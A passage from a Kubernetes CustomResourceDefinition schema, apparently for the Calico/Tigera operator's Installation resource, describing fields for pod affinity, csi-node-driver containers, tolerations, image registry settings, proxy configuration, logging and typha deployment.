                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                      type: object
                                    containers:
                                      description: |-
                                        Containers is a list of csi-node-driver containers.
                                        If specified, this overrides the specified csi-node-driver DaemonSet containers.
                                        If omitted, the csi-node-driver DaemonSet will use its default values for its containers.
                                      items:
                                        description: CSINodeDriverDaemonSetContainer
                                          is a csi-node-driver DaemonSet container.
                                        properties:
                                          name:
                                            description: |-
                                              Name is an enum which identifies the csi-node-driver DaemonSet container by name.
                                              Supported values are: calico-csi, csi-node-driver-registrar.
                                            enum:
                                            - calico-csi
                                            - csi-node-driver-registrar
                                            - csi-node-driver
                                            type: string
                                          resources:
                                            description: |-
                                              Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                              If specified, this overrides the named csi-node-driver DaemonSet container's resources.
                                              If omitted, the csi-node-driver DaemonSet will use its default value for this container's resources.
                                            properties:
                                              claims:
                                                description: |-
                                                  Claims lists the names of resources, defined in spec.resourceClaims,
                                                  that are used by this container.
                                                  This is an alpha field and requires enabling the
                                                  DynamicResourceAllocation feature gate.
                                                  This field is immutable. It can only be set for containers.
                                                items:
                                                  description: ResourceClaim references
                                                    one entry in PodSpec.ResourceClaims.
                                                  properties:
                                                    name:
                                                      description: |-
                                                        Name must match the name of one entry in pod.spec.resourceClaims of
                                                        the Pod where this field is used. It makes that resource available
                                                        inside a container.
                                                      type: string
                                                    request:
                                                      description: |-
                                                        Request is the name chosen for a request in the referenced claim.
                                                        If empty, everything from the claim is made available, otherwise
                                                        only the result of this request.
                                                      type: string
                                                  required:
                                                  - name
                                                  type: object
                                                type: array
                                                x-kubernetes-list-map-keys:
                                                - name
                                                x-kubernetes-list-type: map
                                              limits:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Limits describes the maximum amount of compute resources allowed.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                              requests:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Requests describes the minimum amount of compute resources required.
                                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                            type: object
                                        required:
                                        - name
                                        type: object
                                      type: array
                                    nodeSelector:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        NodeSelector is the csi-node-driver pod's scheduling constraints.
                                        If specified, each of the key/value pairs are added to the csi-node-driver DaemonSet nodeSelector provided
                                        the key does not already exist in the object's nodeSelector.
                                        If omitted, the csi-node-driver DaemonSet will use its default value for nodeSelector.
                                        WARNING: Please note that this field will modify the default csi-node-driver DaemonSet nodeSelector.
                                      type: object
                                    tolerations:
                                      description: |-
                                        Tolerations is the csi-node-driver pod's tolerations.
                                        If specified, this overrides any tolerations that may be set on the csi-node-driver DaemonSet.
                                        If omitted, the csi-node-driver DaemonSet will use its default value for tolerations.
                                        WARNING: Please note that this field will override the default csi-node-driver DaemonSet tolerations.
                                      items:
                                        description: |-
                                          The pod this Toleration is attached to tolerates any taint that matches
                                          the triple <key,value,effect> using the matching operator <operator>.
                                        properties:
                                          effect:
                                            description: |-
                                              Effect indicates the taint effect to match. Empty means match all taint effects.
                                              When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                            type: string
                                          key:
                                            description: |-
                                              Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                              If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                            type: string
                                          operator:
                                            description: |-
                                              Operator represents a key's relationship to the value.
                                              Valid operators are Exists and Equal. Defaults to Equal.
                                              Exists is equivalent to wildcard for value, so that a pod can
                                              tolerate all taints of a particular category.
                                            type: string
                                          tolerationSeconds:
                                            description: |-
                                              TolerationSeconds represents the period of time the toleration (which must be
                                              of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                              it is not set, which means tolerate the taint forever (do not evict). Zero and
                                              negative values will be treated as 0 (evict immediately) by the system.
                                            format: int64
                                            type: integer
                                          value:
                                            description: |-
                                              Value is the taint value the toleration matches to.
                                              If the operator is Exists, the value should be empty, otherwise just a regular string.
                                            type: string
                                        type: object
                                      type: array
                                  type: object
                              type: object
                          type: object
                      type: object
                    fipsMode:
                      description: |-
                        FIPSMode uses images and features only that are using FIPS 140-2 validated cryptographic modules and standards.
                        Only supported for Variant=Calico.
                        Default: Disabled
                      enum:
                      - Enabled
                      - Disabled
                      type: string
                    flexVolumePath:
                      description: |-
                        FlexVolumePath optionally specifies a custom path for FlexVolume. If not specified, FlexVolume will be
                        enabled by default. If set to 'None', FlexVolume will be disabled. The default is based on the
                        kubernetesProvider.
                      type: string
                    imagePath:
                      description: |-
                        ImagePath allows for the path part of an image to be specified. If specified
                        then the specified value will be used as the image path for each image. If not specified
                        or empty, the default for each image will be used.
                        A special case value, UseDefault, is supported to explicitly specify the default
                        image path will be used for each image.
                        Image format:
                           `<registry><imagePath>/<imagePrefix><imageName>:<image-tag>`
                        This option allows configuring the `<imagePath>` portion of the above format.
                      type: string
                    imagePrefix:
                      description: |-
                        ImagePrefix allows for the prefix part of an image to be specified. If specified
                        then the given value will be used as a prefix on each image. If not specified
                        or empty, no prefix will be used.
                        A special case value, UseDefault, is supported to explicitly specify the default
                        image prefix will be used for each image.
                        Image format:
                           `<registry><imagePath>/<imagePrefix><imageName>:<image-tag>`
                        This option allows configuring the `<imagePrefix>` portion of the above format.
                      type: string
                    imagePullSecrets:
                      description: |-
                        ImagePullSecrets is an array of references to container registry pull secrets to use. These are
                        applied to all images to be pulled.
                      items:
                        description: |-
                          LocalObjectReference contains enough information to let you locate the
                          referenced object inside the same namespace.
                        properties:
                          name:
                            default: ""
                            description: |-
                              Name of the referent.
                              This field is effectively required, but due to backwards compatibility is
                              allowed to be empty. Instances of this type with an empty value here are
                              almost certainly wrong.
                              More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                            type: string
                        type: object
                        x-kubernetes-map-type: atomic
                      type: array
                    kubeletVolumePluginPath:
                      description: |-
                        KubeletVolumePluginPath optionally specifies enablement of Calico CSI plugin. If not specified,
                        CSI will be enabled by default. If set to 'None', CSI will be disabled.
                        Default: /var/lib/kubelet
                      type: string
                    kubernetesProvider:
                      description: |-
                        KubernetesProvider specifies a particular provider of the Kubernetes platform and enables provider-specific configuration.
                        If the specified value is empty, the Operator will attempt to automatically determine the current provider.
                        If the specified value is not empty, the Operator will still attempt auto-detection, but
                        will additionally compare the auto-detected value to the specified value to confirm they match.
                      enum:
                      - ""
                      - EKS
                      - GKE
                      - AKS
                      - OpenShift
                      - DockerEnterprise
                      - RKE2
                      - TKG
                      type: string
                    logging:
                      description: Logging Configuration for Components
                      properties:
                        cni:
                          description: Customized logging specification for calico-cni
                            plugin
                          properties:
                            logFileMaxAgeDays:
                              description: 'Default: 30 (days)'
                              format: int32
                              type: integer
                            logFileMaxCount:
                              description: 'Default: 10'
                              format: int32
                              type: integer
                            logFileMaxSize:
                              anyOf:
                              - type: integer
                              - type: string
                              description: 'Default: 100Mi'
                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                              x-kubernetes-int-or-string: true
                            logSeverity:
                              description: 'Default: Info'
                              enum:
                              - Error
                              - Warning
                              - Info
                              - Debug
                              type: string
                          type: object
                      type: object
                    nodeMetricsPort:
                      description: |-
                        NodeMetricsPort specifies which port calico/node serves prometheus metrics on. By default, metrics are not enabled.
                        If specified, this overrides any FelixConfiguration resources which may exist. If omitted, then
                        prometheus metrics may still be configured through FelixConfiguration.
                      format: int32
                      type: integer
                    nodeUpdateStrategy:
                      description: |-
                        NodeUpdateStrategy can be used to customize the desired update strategy, such as the MaxUnavailable
                        field.
                      properties:
                        rollingUpdate:
                          description: Rolling update config params. Present only
                            if type = "RollingUpdate".
                          properties:
                            maxSurge:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                The maximum number of nodes with an existing available DaemonSet pod that
                                can have an updated DaemonSet pod during during an update.
                                Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                This can not be 0 if MaxUnavailable is 0.
                                Absolute number is calculated from percentage by rounding up to a minimum of 1.
                                Default value is 0.
                                Example: when this is set to 30%, at most 30% of the total number of nodes
                                that should be running the daemon pod (i.e. status.desiredNumberScheduled)
                                can have their a new pod created before the old pod is marked as deleted.
                                The update starts by launching new pods on 30% of nodes. Once an updated
                                pod is available (Ready for at least minReadySeconds) the old DaemonSet pod
                                on that node is marked deleted. If the old pod becomes unavailable for any
                                reason (Ready transitions to false, is evicted, or is drained) an updated
                                pod is immediatedly created on that node without considering surge limits.
                                Allowing surge implies the possibility that the resources consumed by the
                                daemonset on any given node can double if the readiness check fails, and
                                so resource intensive daemonsets should take into account that they may
                                cause evictions during disruption.
                              x-kubernetes-int-or-string: true
                            maxUnavailable:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                The maximum number of DaemonSet pods that can be unavailable during the
                                update. Value can be an absolute number (ex: 5) or a percentage of total
                                number of DaemonSet pods at the start of the update (ex: 10%). Absolute
                                number is calculated from percentage by rounding up.
                                This cannot be 0 if MaxSurge is 0
                                Default value is 1.
                                Example: when this is set to 30%, at most 30% of the total number of nodes
                                that should be running the daemon pod (i.e. status.desiredNumberScheduled)
                                can have their pods stopped for an update at any given time. The update
                                starts by stopping at most 30% of those DaemonSet pods and then brings
                                up new DaemonSet pods in their place. Once the new pods are available,
                                it then proceeds onto other DaemonSet pods, thus ensuring that at least
                                70% of original number of DaemonSet pods are available at all times during
                                the update.
                              x-kubernetes-int-or-string: true
                          type: object
                        type:
                          description: Type of daemon set update. Can be "RollingUpdate"
                            or "OnDelete". Default is RollingUpdate.
                          type: string
                      type: object
                    nonPrivileged:
                      description: NonPrivileged configures Calico to be run in non-privileged
                        containers as non-root users where possible.
                      type: string
                    proxy:
                      description: |-
                        Proxy is used to configure the HTTP(S) proxy settings that will be applied to Tigera containers that connect
                        to destinations outside the cluster. It is expected that NO_PROXY is configured such that destinations within
                        the cluster (including the API server) are exempt from proxying.
                      properties:
                        httpProxy:
                          description: |-
                            HTTPProxy defines the value of the HTTP_PROXY environment variable that will be set on Tigera containers that connect to
                            destinations outside the cluster.
                          type: string
                        httpsProxy:
                          description: |-
                            HTTPSProxy defines the value of the HTTPS_PROXY environment variable that will be set on Tigera containers that connect to
                            destinations outside the cluster.
                          type: string
                        noProxy:
                          description: |-
                            NoProxy defines the value of the NO_PROXY environment variable that will be set on Tigera containers that connect to
                            destinations outside the cluster. This value must be set such that destinations within the scope of the cluster, including
                            the Kubernetes API server, are exempt from being proxied.
                          type: string
                      type: object
                    registry:
                      description: |-
                        Registry is the default Docker registry used for component Docker images.
                        If specified then the given value must end with a slash character (`/`) and all images will be pulled from this registry.
                        If not specified then the default registries will be used. A special case value, UseDefault, is
                        supported to explicitly specify the default registries will be used.
                        Image format:
                           `<registry><imagePath>/<imagePrefix><imageName>:<image-tag>`
                        This option allows configuring the `<registry>` portion of the above format.
                      type: string
                    serviceCIDRs:
                      description: Kubernetes Service CIDRs. Specifying this is required
                        when using Calico for Windows.
                      items:
                        type: string
                      type: array
                    typhaAffinity:
                      description: |-
                        Deprecated. Please use Installation.Spec.TyphaDeployment instead.
                        TyphaAffinity allows configuration of node affinity characteristics for Typha pods.
                      properties:
                        nodeAffinity:
                          description: NodeAffinity describes node affinity scheduling
                            rules for typha.
                          properties:
                            preferredDuringSchedulingIgnoredDuringExecution:
                              description: |-
                                The scheduler will prefer to schedule pods to nodes that satisfy
                                the affinity expressions specified by this field, but it may choose
                                a node that violates one or more of the expressions.
                              items:
                                description: |-
                                  An empty preferred scheduling term matches all objects with implicit weight 0
                                  (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                properties:
                                  preference:
                                    description: A node selector term, associated
                                      with the corresponding weight.
                                    properties:
                                      matchExpressions:
                                        description: A list of node selector requirements
                                          by node's labels.
                                        items:
                                          description: |-
                                            A node selector requirement is a selector that contains values, a key, and an operator
                                            that relates the key and values.
                                          properties:
                                            key:
                                              description: The label key that the
                                                selector applies to.
                                              type: string
                                            operator:
                                              description: |-
                                                Represents a key's relationship to a set of values.
                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                              type: string
                                            values:
                                              description: |-
                                                An array of string values. If the operator is In or NotIn,
                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                array must have a single element, which will be interpreted as an integer.
                                                This array is replaced during a strategic merge patch.
                                              items:
                                                type: string
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - key
                                          - operator
                                          type: object
                                        type: array
                                        x-kubernetes-list-type: atomic
                                      matchFields:
                                        description: A list of node selector requirements
                                          by node's fields.
                                        items:
                                          description: |-
                                            A node selector requirement is a selector that contains values, a key, and an operator
                                            that relates the key and values.
                                          properties:
                                            key:
                                              description: The label key that the
                                                selector applies to.
                                              type: string
                                            operator:
                                              description: |-
                                                Represents a key's relationship to a set of values.
                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                              type: string
                                            values:
                                              description: |-
                                                An array of string values. If the operator is In or NotIn,
                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                array must have a single element, which will be interpreted as an integer.
                                                This array is replaced during a strategic merge patch.
                                              items:
                                                type: string
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - key
                                          - operator
                                          type: object
                                        type: array
                                        x-kubernetes-list-type: atomic
                                    type: object
                                    x-kubernetes-map-type: atomic
                                  weight:
                                    description: Weight associated with matching the
                                      corresponding nodeSelectorTerm, in the range
                                      1-100.
                                    format: int32
                                    type: integer
                                required:
                                - preference
                                - weight
                                type: object
                              type: array
                            requiredDuringSchedulingIgnoredDuringExecution:
                              description: |-
                                WARNING: Please note that if the affinity requirements specified by this field are not met at
                                scheduling time, the pod will NOT be scheduled onto the node.
                                There is no fallback to another affinity rules with this setting.
                                This may cause networking disruption or even catastrophic failure!
                                PreferredDuringSchedulingIgnoredDuringExecution should be used for affinity
                                unless there is a specific well understood reason to use RequiredDuringSchedulingIgnoredDuringExecution and
                                you can guarantee that the RequiredDuringSchedulingIgnoredDuringExecution will always have sufficient nodes to satisfy the requirement.
                                NOTE: RequiredDuringSchedulingIgnoredDuringExecution is set by default for AKS nodes,
                                to avoid scheduling Typhas on virtual-nodes.
                                If the affinity requirements specified by this field cease to be met
                                at some point during pod execution (e.g. due to an update), the system
                                may or may not try to eventually evict the pod from its node.
                              properties:
                                nodeSelectorTerms:
                                  description: Required. A list of node selector terms.
                                    The terms are ORed.
                                  items:
                                    description: |-
                                      A null or empty node selector term matches no objects. The requirements of
                                      them are ANDed.
                                      The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                    properties:
                                      matchExpressions:
                                        description: A list of node selector requirements
                                          by node's labels.
                                        items:
                                          description: |-
                                            A node selector requirement is a selector that contains values, a key, and an operator
                                            that relates the key and values.
                                          properties:
                                            key:
                                              description: The label key that the
                                                selector applies to.
                                              type: string
                                            operator:
                                              description: |-
                                                Represents a key's relationship to a set of values.
                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                              type: string
                                            values:
                                              description: |-
                                                An array of string values. If the operator is In or NotIn,
                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                array must have a single element, which will be interpreted as an integer.
                                                This array is replaced during a strategic merge patch.
                                              items:
                                                type: string
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - key
                                          - operator
                                          type: object
                                        type: array
                                        x-kubernetes-list-type: atomic
                                      matchFields:
                                        description: A list of node selector requirements
                                          by node's fields.
                                        items:
                                          description: |-
                                            A node selector requirement is a selector that contains values, a key, and an operator
                                            that relates the key and values.
                                          properties:
                                            key:
                                              description: The label key that the
                                                selector applies to.
                                              type: string
                                            operator:
                                              description: |-
                                                Represents a key's relationship to a set of values.
                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                              type: string
                                            values:
                                              description: |-
                                                An array of string values. If the operator is In or NotIn,
                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                array must have a single element, which will be interpreted as an integer.
                                                This array is replaced during a strategic merge patch.
                                              items:
                                                type: string
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - key
                                          - operator
                                          type: object
                                        type: array
                                        x-kubernetes-list-type: atomic
                                    type: object
                                    x-kubernetes-map-type: atomic
                                  type: array
                                  x-kubernetes-list-type: atomic
                              required:
                              - nodeSelectorTerms
                              type: object
                              x-kubernetes-map-type: atomic
                          type: object
                      type: object
                    typhaDeployment:
                      description: |-
                        TyphaDeployment configures the typha Deployment. If used in conjunction with the deprecated
                        ComponentResources or TyphaAffinity, then these overrides take precedence.
                      properties:
                        metadata:
                          description: Metadata is a subset of a Kubernetes object's
                            metadata that is added to the Deployment.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              description: |-
                                Annotations is a map of arbitrary non-identifying metadata. Each of these
                                key/value pairs are added to the object's annotations provided the key does not
                                already exist in the object's annotations.
                              type: object
                            labels:
                              additionalProperties:
                                type: string
                              description: |-
                                Labels is a map of string keys and values that may match replicaset and
                                service selectors. Each of these key/value pairs are added to the
                                object's labels provided the key does not already exist in the object's labels.
                              type: object
                          type: object
                        spec:
                          description: Spec is the specification of the typha Deployment.
                          properties:
                            minReadySeconds:
                              description: |-
                                MinReadySeconds is the minimum number of seconds for which a newly created Deployment pod should
                                be ready without any of its container crashing, for it to be considered available.
                                If specified, this overrides any minReadySeconds value that may be set on the typha Deployment.
                                If omitted, the typha Deployment will use its default value for minReadySeconds.
                              format: int32
                              maximum: 2147483647
                              minimum: 0
                              type: integer
                            strategy:
                              description: The deployment strategy to use to replace
                                existing pods with new ones.
                              properties:
                                rollingUpdate:
                                  description: |-
                                    Rolling update config params. Present only if DeploymentStrategyType =
                                    RollingUpdate.
                                    to be.
                                  properties:
                                    maxSurge:
                                      anyOf:
                                      - type: integer
                                      - type: string
                                      description: |-
                                        The maximum number of pods that can be scheduled above the desired number of
                                        pods.
                                        Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                        This can not be 0 if MaxUnavailable is 0.
                                        Absolute number is calculated from percentage by rounding up.
                                        Defaults to 25%.
                                        Example: when this is set to 30%, the new ReplicaSet can be scaled up immediately when
                                        the rolling update starts, such that the total number of old and new pods do not exceed
                                        130% of desired pods. Once old pods have been killed,
                                        new ReplicaSet can be scaled up further, ensuring that total number of pods running
                                        at any time during the update is at most 130% of desired pods.
                                      x-kubernetes-int-or-string: true
                                    maxUnavailable:
                                      anyOf:
                                      - type: integer
                                      - type: string
                                      description: |-
                                        The maximum number of pods that can be unavailable during the update.
                                        Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                        Absolute number is calculated from percentage by rounding down.
                                        This can not be 0 if MaxSurge is 0.
                                        Defaults to 25%.
                                        Example: when this is set to 30%, the old ReplicaSet can be scaled down to 70% of desired pods
                                        immediately when the rolling update starts. Once new pods are ready, old ReplicaSet
                                        can be scaled down further, followed by scaling up the new ReplicaSet, ensuring
                                        that the total number of pods available at all times during the update is at
                                        least 70% of desired pods.
                                      x-kubernetes-int-or-string: true
                                  type: object
                              type: object
                            template:
                              description: Template describes the typha Deployment
                                pod that will be created.
                              properties:
                                metadata:
                                  description: |-
                                    Metadata is a subset of a Kubernetes object's metadata that is added to
                                    the pod's metadata.
                                  properties:
                                    annotations:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Annotations is a map of arbitrary non-identifying metadata. Each of these
                                        key/value pairs are added to the object's annotations provided the key does not
                                        already exist in the object's annotations.
                                      type: object
                                    labels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Labels is a map of string keys and values that may match replicaset and
                                        service selectors. Each of these key/value pairs are added to the
                                        object's labels provided the key does not already exist in the object's labels.
                                      type: object
                                  type: object
                                spec:
                                  description: Spec is the typha Deployment's PodSpec.
                                  properties:
                                    affinity:
                                      description: |-
                                        Affinity is a group of affinity scheduling rules for the typha pods.
                                        If specified, this overrides any affinity that may be set on the typha Deployment.
                                        If omitted, the typha Deployment will use its default value for affinity.
                                        If used in conjunction with the deprecated TyphaAffinity, then this value takes precedence.
                                        WARNING: Please note that this field will override the default calico-typha Deployment affinity.
                                      properties:
                                        nodeAffinity:
                                          description: Describes node affinity scheduling
                                            rules for the pod.
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: |-
                                                  An empty preferred scheduling term matches all objects with implicit weight 0
                                                  (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                properties:
                                                  preference:
                                                    description: A node selector term,
                                                      associated with the corresponding
                                                      weight.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  weight:
                                                    description: Weight associated
